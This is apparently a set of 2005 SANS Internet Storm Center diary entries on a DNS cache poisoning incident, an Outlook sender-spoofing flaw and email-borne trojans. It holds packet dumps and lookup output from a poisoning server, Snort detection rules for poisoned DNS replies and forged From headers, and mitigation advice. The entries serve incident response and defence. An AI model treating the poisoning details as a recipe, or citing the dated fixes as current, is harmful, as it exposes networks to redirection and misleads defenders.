Time to live: 1 day, 23 hours, 59 minutes, 58 seconds
Data length: 16
Name server: ns1.take4look.com
abx4.com: type NS, class inet, ns ns2.take4look.com
Name: abx4.com
Type: Authoritative name server
Class: inet
Time to live: 1 day, 23 hours, 59 minutes, 58 seconds
Data length: 6
Name server: ns2.take4look.com

0000 00 04 5a 73 d7 a6 00 02 a5 64 e9 9b 08 00 45 00 ..Zs.....d....E.
0010 00 88 00 00 40 00 40 11 df 45 ac 10 01 01 ac 10 ....@.@..E......
0020 01 fe 00 35 77 84 00 74 c3 a5 13 aa 81 80 00 01 ...5w..t........
0030 00 02 00 02 00 00 03 77 77 77 04 61 62 78 34 03 .......www.abx4.
0040 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 com.............
0050 01 68 00 04 cd a2 c9 0b c0 0c 00 01 00 01 00 00 .h..............
0060 01 68 00 04 d9 10 1a 94 c0 10 00 02 00 01 00 02 .h..............
0070 a2 fe 00 10 03 6e 73 31 09 74 61 6b 65 34 6c 6f .....ns1.take4lo
0080 6f 6b c0 15 c0 10 00 02 00 01 00 02 a2 fe 00 06 ok..............
0090 03 6e 73 32 c0 4e .ns2.N



From a totally different network an nsookup query to
the culprit DNS server provided the following results:



C:\>nslookup

Default Server: DNS.server

Address: 172.16.1.1




> server 218.38.13.108

Default Server: [218.38.13.108]

Address: 218.38.13.108




> www.cnn.com

Server: [218.38.13.108]

Address: 218.38.13.108




Name: www.cnn.com

Addresses: 205.162.201.11, 217.16.26.148




Any .com query to this DNS server would return the same results.
Again from a different network dig provided another interesting
set of answers:



; <<>> DiG 9.2.4 <<>> www.cnn.com @218.38.13.108
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59667
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 1, ADDITIONAL: 1


;; QUESTION SECTION:
;www.cnn.com. IN A


;; ANSWER SECTION:
www.cnn.com. 99999 IN A 205.162.201.11
www.cnn.com. 99999 IN A 217.16.26.148


;; AUTHORITY SECTION:
com. 99999 IN NS besthost.co.kr.


;; ADDITIONAL SECTION:
besthost.co.kr. 1800 IN A 218.38.13.108md




Note the rather interesting TTL.
This server responded as authoritative for ANY and ALL .coms
at the time.



1 April 2005



The same DNS server was still doing cache poisoning:



H:\>nslookup

Default Server: DNS.server

Address: 172.16.1.1




> server 218.38.13.108

Default Server: [218.38.13.108]

Address: 218.38.13.108




> www.google.com

Server: [218.38.13.108]

Address: 218.38.13.108




Name: www.google.com

Addresses: 216.55.185.46, 72.9.233.153




> www.cnn.com

Server: [218.38.13.108]

Address: 218.38.13.108




Name: www.cnn.com

Addresses: 72.9.233.153, 216.55.185.46




Containment, eradication, recovery, and lessons learned
to follow.



Conclusion:
DNS cache poisoning was in fact happening.

Surprise!

Other than that it has been a rather quiet day on the Internet today.



Cheers,
Adrien de Beaupré, handler of the day.

0 Comments

Published: 2005-04-09

Outlook Client Vulnerability and Spring Cleaning

Outlook 'From' Header Spoofing



The researchers at iDEFENSE have discovered an interesting little bug in the
Microsoft Outlook and Outlook WebAccess email client applications. If an
email is constructed so that the "From:" header contains multiple senders,
the Outlook clients will only display the first sender. Unfortunately, this
provides yet another way that Phishers can spoof the apparent sender of fraudulent
scam emails and make them seem more legitimate. [Of course, legitimate
organizations don't send emails that encourage you to click links to enter
personal data or to apply software updates to your system in the first place!]



To read more about the details, visit the




I've cobbled up a snort signature that might work for this too:


alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (sid:2005040901; rev:1; \
msg:"[ISC] Possible MS Outlook email From forgery attempt"; \
content: "From|3a| "; nocase; \
pcre: "/[_\.\w\d]+@[_\.\w\d]+.*,.*[_\.\w\d]+@[_\.\w\d]+/imGR"; \
flow: to_server, established; )


Spring Cleaning



It was a pretty slow day here at the ISC, which means that most of our readers
were out enjoying the spring weather; at least those in the northern hemisphere
where it's actually springtime. In the traditional spirit of spring cleaning,
now is a great time to do some of those little tasks that many people tend to
put off until too late. Check your backups! Go on, try to restore some files.
Testing things before you need them is a great idea. If you don't have
backups, now is a great time to make some. Modern hard drives have large
capacities and are relatively inexpensive. A nice spring treat might be to get
yourself a new one, copy all your data to it, and put your old one in a nice
safe spot in the closet. You might also want to crawl under your desk and tap
the test button on your UPS, just to see if it still works. Also, blowing all
the dustbunnies out of your equipment is a wise move.
Published: 2005-04-08

ISC returning to Green; Comcast Problems; Microsoft Update Spoof


Internet Storm Center Returning to Green




You may have noticed that the InfoCon has returned to Green. We do this not because we think the DNS cache poisoning is solved, but due to that we now understand the issues and have clear things people should do to protect themselves. Here are the suggestions we have for you:



- add the right key to the registry on NT


http://isc.sans.org/diary.php?date=2005-04-07

(Note: Windows systems are not protected even with their magic registry entry IF they trust an upstream dns system that doesn't clear additional dns records from the answer to the query and site the article.
- upgrade to the right SP on W2K

- not forward to vulnerable windows DNS caches

- not forward to pre-BIND9 bind DNS caches



And a heads-up to ISP's and others running BIND4 and BIND8
- Please upgrade to BIND9 if you are likely to have people forwarding
to you with a MSFT DNS cache.




Thanks to Kyle, Swa, Eric and Donald for their input. You guys are awesome.

A heartfelt thanks to all of you who participated in the research and investigation on this issue. It is because of you and you willingness to assist that we are as successful as we are.



Comcast Problems





We have received a couple of inquiries regarding the unavailablity of Comcast. Apparently Comcast is experiencing problems nationwide due to an equipment update. This does not appear to have any connection to the DNS Cache Poisoning that we have been following over the last few days.

The Comcast technical problems should be resolved shortly and all will return to normal.




[Note: additional discussion of this issue is happening at
http://www.dslreports.com/forum/comcast"> http://www.dslreports.com/forum/comcast ]





Microsoft Update Spoof



With Microsoft Patch Tuesday looming on the horizon we thought it wise to alert everyone to a malicious email that is circulating the globe.
"A mass SPAM email has been sent out claiming to be from Microsoft. This email spoofs users into thinking that they must update their Windows software. Upon clicking on the link, users are forwarded to a fraudulent website. This website is hosted in Australia, and was up at the time of this alert."


http://www.websensesecuritylabs.com/alerts/alert.php?AlertID=163



When the link is clicked it installs a Trojan program. The Trojan program (Wupdate-20050401.exe) is installed and opens a backdoor to your computer.


This is a reminder to everyone, "Microsoft Does NOT Email Update Links".


Deb Hale


Handler on Duty

0 Comments

Published: 2005-04-07

Advance info for Patch Tuesday; Yellow; DNS cache poisoning update

Advance info for "Patch Tuesday"



Microsoft has released advanced warning about the bulletins it will be releasing next Tuesday. http://www.microsoft.com/technet/security/bulletin/advance.mspx


* 5 Security Bulletins for Windows, maximum level Critical

* 1 Security Bulletin for Office, level Critical

* 1 Security Bulletin for MSN Messenger, level Critical

* 1 Security Bulletin for Exchange, level Critical

Yellow


The InfoCon is currently set at yellow in response to the DNS cache poisoning issues that we have been reporting on for the last several days. We originally went to yellow because we were uncertain of the mechanisms that allowed seemingly "secure" systems to be vulnerable to this issue. Now that we have a better handle on the mechanisms, WE WANT TO GET THE ATTENTION OF ISPs AND ANY OTHERS WHO RUN DNS SERVERS THAT MAY ACT AS FORWARDS FOR DOWNSTREAM Microsoft DNS SYSTEMS. If you are running BIND, please consider updating to Version 9. Read on for more information...


DNS cache poisoning update



We have received more technical details on the software configurations
that are vulnerable. Thanks to Microsoft for clarifying details on
Windows DNS and thanks to numerous others for reporting. We try to get
all the technical details right before publishing information on attacks
like this, but if we waited until we were 100% sure all the time, we
would never be able to notify the community when the attacks are
actually happening.


On Windows 2000 SP3 and above, the DNS server DOES protect against DNS
cache pollution by default. The registry key to protect against the
poisoning is not necessary: the value is TRUE if the registry key does
not exist. Microsoft has now corrected the KB article that we published
earlier with this information.


    http://support.microsoft.com/default.aspx?scid=kb;en-us;241352 
http://support.microsoft.com/kb/316786


On Windows 2000, you should manage the DNS cache protection security
setting through the DNS Management Console. On Windows 2000 below SP3,
the "Secure cache against pollution" is not the default so you should
enable it using the DNS Management Console. On Windows 2000 SP3 and
above (and Windows 2003), the secure setting is the default (even if the
registry key does not exist).


Our recommendation is to only set the registry key
(HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DNS\Parameters) on
Windows NT4. Otherwise, use the DNS Management Console. If you are on
Windows 2000 and you created the key already, you are safe to leave it
in place as long as the value is "1".


There seems to be other possible scenarios where cache poisoning can
occur. When forwarding to another server, Windows DNS servers expects
the upstream DNS server to scrub out cache poisoning attacks. The
Windows DNS server accepts all data that it receives, regardless of the
setting for protecting against cache poisoning. So vulnerability of the
attack depends upon whether the upstream DNS server is filtering out the
attack.


We are currently trying to determine the behavior of DJBDNS, and BIND
versions 4, 8, and 9 when acting as a forwarder. We are asking for
assistance from the community to determine their behavior so write us
if you have details. It appears that BIND4 and BIND8 do not scrub the
data, whereas BIND9 does. See the following scenarios:


Windows DNS --> forwarding to BIND4 or BIND8. Windows DNS server
assumes that BIND scrubs out the poisoning attempt. BIND4 and BIND8 do
NOT appear to scrub the attack. Windows DNS trusts the data and the
Windows DNS cache will become poisoned.


Windows DNS --> forwarding to BIND9. This configuration seems to be
secure because BIND9 scrubs the poisoning attempt.


Windows DNS (slave) --> forwarding to Windows DNS (master). In this
scenario, your vulnerability is based on the vulnerability of the
master. If the master is vulnerable, then it will be poisoned and
forward the attack to the slave server, which will also be poisoned.
However, if the master is secure then both servers should be safe.


The following recommendations are based on the current assumption that
BIND4 and BIND8 forwarders will not filter the cache poisoning attack to
its downstream clients. If we find out that this is not the case, then
the recommendations may not be valid. If you have Windows DNS servers
forwarding to BIND4 or BIND8, you should start investigating an upgrade
of those BIND servers to BIND9. If upgrading to BIND9 would not be a
possibility, a secondary recommendation would be to turn off the
forwarding on Windows DNS and allow the server to contact the Internet
directly so that it can apply the proper protection against cache
poisoning. If you run an ISP and have clients that are using your DNS
servers as forwarders, you may want to consider upgrading your resolvers
to BIND9 in order to protect your clients.


Alternatively, if you have Windows DNS servers that are functioning as
forwarders then you should verify that those machines are protected,
which should protect the rest of the DNS servers behind it.

0 Comments

Published: 2005-04-05

Updates on DNS Poisoning / Peru Offline / Mailbag and other stories...

Updates on DNS Poisoning...



A new day has come and as you could notice, we are still on Yellow Infocon Level.


Over the last few days we have been observing some interesting stuff on the DNS poisoning topic.

- http://isc.sans.org/diary.php?date=2005-04-03

- http://isc.sans.org/diary.php?date=2005-04-04

- http://isc.sans.org/presentations/dnspoisoning.php


Something new that we could update is that (Thanks Kyle) according to Microsoft documentation, it appears that Windows 2000 DNS server with SP3+ has the registry key to protect against DNS cache poisoning by default. But we are still trying to validate this information and ensure that this is always the case.





Reference: http://support.microsoft.com/kb/316786/EN-US/
We are researching and trying to get more details about this and post here as soon as possible. Stay tuned!




Peru Offline?



One of our readers in Peru sent an interesting story about DNS problems in Peru. According our the news, looks like all .gob.pe and .com.pe were unavailable today in Peru. At this time, we don't have any proof that this could be related to the DNS poisoning topic.

Reference:
http://www.elcomercioperu.com.pe/EdicionImpresa/Html/2005-04-03/impLima0283191.html




Mailbag and other stories...






Thanks to our Finnish reader Juha-Matti, that reminded us that there is life besides DNS Poisoning...

Btw, there are a lot of new stuff around.


-Remember the MS04-045? Well, looks like we have a public exploit available. Didn't patch yet? Need another reason?

Reference: http://support.microsoft.com/kb/870763




- Sybase ASE Multiple vulnerabilities - NGS Software released an advisory about six security flaws in Sybase Adaptive Server Enterprise. Patches available!

Reference: http://www.ngssoftware.com/advisories/sybase-ase.txt




- Looks like the Rootkit detectors are now the hot stuff. After the one from sysinternals, and F-secure Black Light, now SecuriTeam recommends a new one, called Klister. I didnt test them yet, but if anyone would like to share experiences, feel free to email me.

Reference: http://www.securiteam.com/tools/5GP0315FFW.html


------------------------------------------------------------------

Handler on Duty: Pedro Bueno (pbueno /AT/isc.sans.org)

0 Comments

Published: 2005-04-04

* DNS Cache Poisoning Report; Increase in Port Activity; SANS Conference

<H3>DNS Cache Poisoning Detailed Analysis Report.</H3>

<UPDATE> - 05/04/2005 - Pedro Bueno

We are moving to Yellow in our Infocon Level. There are some good points to do so.




Our Infocon Level Yellow means: "We are currently tracking a significant new threat. The impact is either unknown or expected to be minor to the infrastructure." - http://isc.sans.org/infocon.php .




We are facing a new threat and even we have a good idea of the
effect and researching and trying to find the exact cause of what is going on, we do know that something is going on. So we take the prudent step of going to yellow.




You should expect more updates. We will keep updating this page, since it contains the great summary of the event and the link to Kyle´s report.

</UPDATE>





We are flashing the ISC alert tool (http://www.labreatechnologies.com/ISCAlert.zip ) to draw our readers to a new report written by the Handler Kyle Haugsness and several other handlers wrote an excellent report on what they found so far with respect to the DNS cache poisoning we have reported over the past several days. The summary of the report is below, and the remainder of the report is at http://isc.sans.org/presentations/dnspoisoning.php



Summary

Around 22:30 GMT on March 3, 2005 the SANS Internet Storm Center began receiving reports from multiple sites about DNS cache poisoning attacks that were redirecting users to websites hosting malware. As the "Handler on Duty" for March 4, I began investigating the incident over the course of the following hours and days. This report is intended to provide useful details about this incident to the community.



The initial reports showed solid evidence of DNS cache poisoning, but there also seemed to be a spyware/adware/malware component at work. After complete analysis, the attack involved several different technologies: dynamic DNS, DNS cache poisoning, a bug in Symantec firewall/gateway products, default settings on Windows NT4/2000, spyware/adware, and a compromise of at least 5 UNIX webservers. We received information the attack may have started as early as Feb. 22, 2005 but probably only affected a small number of people.



On March 24, we received reports of a different DNS cache poisoning attack. This attack did not appear to affect as many people. This will be referred to as the "second attack" in the remainder of this report.



After monitoring the situation for several weeks now, it has become apparent that the attacker(s) are changing their methods and toolset to point at different compromised servers in an effort to keep the attacks alive. This attack morphed into a similar attack with different IP addresses that users were re-directed toward. This will be referred to as the third attack and is still ongoing as of April 1, 2005.



Before proceeding, a note of thanks is in order for all the people that have submitted reports to us, helped us investigate further, and provided us logs or data. The Internet Storm Center is a volunteer effort and the better information that we receive from the community, the better analysis we can perform and contribute back to the community.



Contents:



1. How can others help?

2. How do I recover from a DNS cache poisoning attack?

3. What software is vulnerable?

4. I am a dial-up/DSL/cable modem user -- am I vulnerable?

5. Where can I test my site to see if I am vulnerable?

6. What exactly is DNS cache poisoning?

7. What was the motivation for this type of attack?

8. Weren't DNS cache poisoning attacks squashed around 8 years ago?

9. What was the trigger for the attack?

10. How exactly did this DNS cache poisoning attack work?

11. What domain names were being hijacked?

12. What were the victim sites?

13. What malware was placed on my machine if I visited the evil servers?

14. Got packets?

15. Got snort?



Read the rest of the report at http://isc.sans.org/presentations/dnspoisoning.php



<H3>Increase in Port Activity.</H3> Arno wrote us today to draw our attention to two ports that have shown a big increase in activity in the past few days. Check out ports 8082 (BlackIce Capture) and 20031 (BakBone NetVault). Notice that the 8082 traffic is largely UDP, comes from several thousand sources, but is aimed at less than 200 targets. There is a known issue with NetVault, which accounts for all of the 20031 scanning, but what is going on with BlackIce?


http://isc.sans.org/port_details.php?port=8082

http://isc.sans.org/port_details.php?port=20031




<H3>SANS Conference</H3>
It has come to our attention at the Hotel where the SANS conference is being held, that possibly the DNS servers there are poisoned. Our only recommendation we can offer until we can fix/correct this, is to use a public dns server, that is not vulnerable.


4.2.2.1

4.2.2.2

4.2.2.3

These public dns servers should work.

0 Comments

Published: 2005-04-03

* DNS Cache Poisoning Report; Increase in Port Activity

<H3>DNS Cache Poisoning Detailed Analysis Report.</H3> We are flashing the ISC alert tool ( http://www.labreatechnologies.com/ISCAlert.zip ) to draw our readers to a new report written by handler Kyle Haugsness and several other handlers. This excellent report discusses what they found so far with respect to the DNS cache poisoning we reported over the past several days. The summary of the report is below, and the remainder of the report is at http://isc.sans.org/presentations/dnspoisoning.php



Summary

Around 22:30 GMT on March 3, 2005 the SANS Internet Storm Center began receiving reports from multiple sites about DNS cache poisoning attacks that were redirecting users to websites hosting malware. As the "Handler on Duty" for March 4, I began investigating the incident over the course of the following hours and days. This report is intended to provide useful details about this incident to the community.



The initial reports showed solid evidence of DNS cache poisoning, but there also seemed to be a spyware/adware/malware component at work. After complete analysis, the attack involved several different technologies: dynamic DNS, DNS cache poisoning, a bug in Symantec firewall/gateway products, default settings on Windows NT4/2000, spyware/adware, and a compromise of at least 5 UNIX webservers. We received information the attack may have started as early as Feb. 22, 2005 but probably only affected a small number of people.



On March 24, we received reports of a different DNS cache poisoning attack. This attack did not appear to affect as many people. This will be referred to as the "second attack" in the remainder of this report.



After monitoring the situation for several weeks now, it has become apparent that the attacker(s) are changing their methods and toolset to point at different compromised servers in an effort to keep the attacks alive. This attack morphed into a similar attack with different IP addresses that users were re-directed toward. This will be referred to as the third attack and is still ongoing as of April 1, 2005.



Before proceeding, a note of thanks is in order for all the people that have submitted reports to us, helped us investigate further, and provided us logs or data. The Internet Storm Center is a volunteer effort and the better information that we receive from the community, the better analysis we can perform and contribute back to the community.



Contents:



1. How can others help?

2. How do I recover from a DNS cache poisoning attack?

3. What software is vulnerable?

4. I am a dial-up/DSL/cable modem user -- am I vulnerable?

5. Where can I test my site to see if I am vulnerable?

6. What exactly is DNS cache poisoning?

7. What was the motivation for this type of attack?

8. Weren't DNS cache poisoning attacks squashed around 8 years ago?

9. What was the trigger for the attack?

10. How exactly did this DNS cache poisoning attack work?

11. What domain names were being hijacked?

12. What were the victim sites?

13. What malware was placed on my machine if I visited the evil servers?

14. Got packets?

15. Got snort?



Read the rest of the report at http://isc.sans.org/presentations/dnspoisoning.php



<H3>Increase in Port Activity.</H3> Arno wrote us today to draw our attention to two ports that have shown a big increase in activity in the past few days. Check out ports 8082 (BlackIce Capture) and 20031 (BakBone NetVault). Notice that the 8082 traffic is largely UDP, comes from several thousand sources, but is aimed at less than 200 targets. There is a known issue with NetVault, which accounts for all of the 20031 scanning, but what is going on with BlackIce?


http://isc.sans.org/port_details.php?port=8082

http://isc.sans.org/port_details.php?port=20031


<H3>San Diego SANS Conference</H3>
It has come to our attention that the DNS servers for the hotel where the San Diego SANS conference is being held are possibly poisoned. The best recommendation we can offer until we can fix/correct this, is to use a public DNS server that is not vulnerable, such as:


4.2.2.1

4.2.2.2

4.2.2.3





Marcus H. Sachs

Handler on Duty

Director, SANS Internet Storm Center


0 Comments

Published: 2005-04-02

Trojan postcards; Using authorized apps to do bad things; More IE and Outlook problems?


Postcard Trojans


We're receiving more reports of email messages coming in posing as "postcard pickup" notifications that wind up delivering a trojan payload. One example we were forwarded is an email message claiming "You have just received a virtual postcard from a family member!" which apparently sends you to a "pickup" site that gives you an mIRC-based trojan. While it's sad that we have to say this, the amount of cruft that's being delivered via email continues to encourage us to take a "default deny" posture; without knowing the true source of an email, one has to be cautious on accepting just about everything these days.

Use of authorized apps in client side attacks


One reader wrote in and made a good observation that some of these client-side hijackings (like the trojan mentioned above that hooks mIRC) slide past most AV engines and even desktop firewalls; they are considered "authorized" applications by most controls, therefore appear to be benign (when they really are not). We continue to see trojan delivery models that leverage existing applications, and this is something that we - as a community - are really going to need a long-term solution for. Some further reading on the topic, if anyone is interested:

"Take back the desktop," from the March 17th issue of Network Computing


(175k PDF)

More Outlook and IE problems?


While this shouldn't come as a surprise to anyone, it looks like we might be in for some more IE and Outlook patching:

http://www.eeye.com/html/research/upcoming/20050316.html">
http://www.eeye.com/html/research/upcoming/20050316.html
http://www.eeye.com/html/research/upcoming/20050329.html">
http://www.eeye.com/html/research/upcoming/20050329.html

0 Comments

Published: 2005-04-01

DNS Snort Signatures; Acrobat Reader Vuln;TCP Port 1025 Traffic; Excellent DNS Article

Snort Signatures for TLD DNS packets


Much thanx to Cody Hatch for all the hard work in building and testing these. These signatures require Snort version 2.3 or later. Feedback on these would be greatly appreciated as well.

alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"com DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|com|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\

alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"net DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|net|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\

alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"org DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|org|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\

alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"biz DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|biz|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\

alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"edu DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|edu|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\

alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"gov DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|gov|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\

alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"int DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|int|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\

alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"mil DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|mil|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\

alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"info DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|04|info|00|"; nocase; within:6; classtype:misc-attack; sid:1600; rev:3;)\

alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"name DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|04|name|00|"; nocase; within:6; classtype:misc-attack; sid:1600; rev:3;)\

alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"pro DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|pro|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\

Again, many props to Cody Hatch for the work on this one.

New Adobe Acrobat Reader Vulnerability



NISCC has reported that Acrobat Reader contains a vulnerability which, when executed, could allow an attacker to discover local files. Yes, we know the advisory is a PDF, this isn't an April Fools joke.

Thanx Adrien for the update,

http://www.niscc.gov.uk/niscc/docs/re-20050401-00264.pdf

More Port 1025 activity



We are still seeing TCP 1025 traffic, with a new report submitted today from Michael Cloppert. His report showed a spike from external sources, in excess of 10,000 hosts.

If anybody has captures of TCP 1025 traffic it would greatly help in our analysis.

DNS and the future



Given the current activity with DNS Cache poisoning that we are dealing with, it was suggested by one of the Handlers that this might be some good reading. (It *is* good reading, highly recommend it)

http://www.nap.edu/execsumm_pdf/11258.pdf

0 Comments